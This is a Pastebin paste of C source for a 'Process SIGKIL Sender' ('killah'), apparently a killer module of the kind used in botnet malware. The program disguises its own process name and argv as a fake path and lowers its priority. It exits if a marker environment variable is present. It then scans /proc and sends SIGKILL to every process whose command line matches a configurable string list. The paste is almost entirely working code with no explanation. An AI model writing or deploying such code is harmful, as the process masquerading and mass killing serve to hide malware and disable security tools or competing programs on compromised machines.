Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- Process SIGKIL Sender.
- How to define strings
- Locate this code segment in main.c
- const char* bad_strings[] = {
- "killstring",
- "killstring",
- "killstring"
- // DONT REMOVE LAST STRING ","
- };
- */
- #include "main.h"
- static bool killah_is_pid(char* pid) {
- size_t len = strlen(pid);
- for (size_t i = 0; i < len; i++) {
- if (!isdigit(pid[i])) {
- return false;
- }
- }
- return true;
- }
- static void killah_god_mode(char** argv, char** envp) {
- size_t name_sz = strlen(argv[0]);
- chdir(FAKE_PATH);
- setpriority(PRIO_PROCESS, 0, 19);
- prctl(PR_SET_NAME, FAKE_PATH, NULL, NULL, NULL);
- strncpy(argv[0], FAKE_PATH, sizeof(FAKE_PATH));
- for (char** env_node = envp; *env_node != 0; env_node++) {
- if (strncmp(*env_node, BAD_ENV, sizeof(BAD_ENV)) == 0) {
- exit(EXIT_FAILURE);
- }
- }
- }
- static bool killah_check_proc(pid_t pid) {
- bool str_found = false;
- const char* bad_strings[] = {
- "killstring",
- "killstring",
- "killstring"
- // DONT REMOVE LAST STRING ","
- };
- char cmd_path[PATH_MAX], cmd_line[CMD_BUF];
- memset(cmd_path, 0, sizeof(cmd_path));
- memset(cmd_line, 0, sizeof(cmd_line));
- if (snprintf(cmd_path, PATH_MAX - 1, "/proc/%d/cmdline", pid) < 0) {
- return false;
- }
- int fd = open(cmd_path, O_RDONLY);
- if (fd < 0) {
- return false;
- }
- if (read(fd, cmd_line, CMD_BUF - 1) < 0) {
- close(fd);
- }
- for (uint8_t i = 0; i < ARRAY_SIZE(bad_strings); i++) {
- if (strstr(cmd_line, bad_strings[i]) != NULL) {
- str_found = true;
- break;
- }
- }
- close(fd);
- return str_found;
- }
- static void killah_kill_bad() {
- DIR* current_dir = opendir("/proc/");
- if (current_dir != NULL) {
- struct dirent* dir_info = NULL;
- while ((dir_info = readdir(current_dir)) != NULL) {
- if (dir_info->d_type == DT_DIR) {
- if (killah_is_pid(dir_info->d_name)) {
- pid_t proc_id = strtoul(dir_info->d_name, NULL, 0);
- if (proc_id > 0) {
- if (killah_check_proc(proc_id)) {
- kill(proc_id, 9);
- }
- }
- }
- }
- }
- closedir(current_dir);
- }
- }
- int main(int argc, char** argv, char** envp) {
- killah_god_mode(argv, envp);
- killah_kill_bad();
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement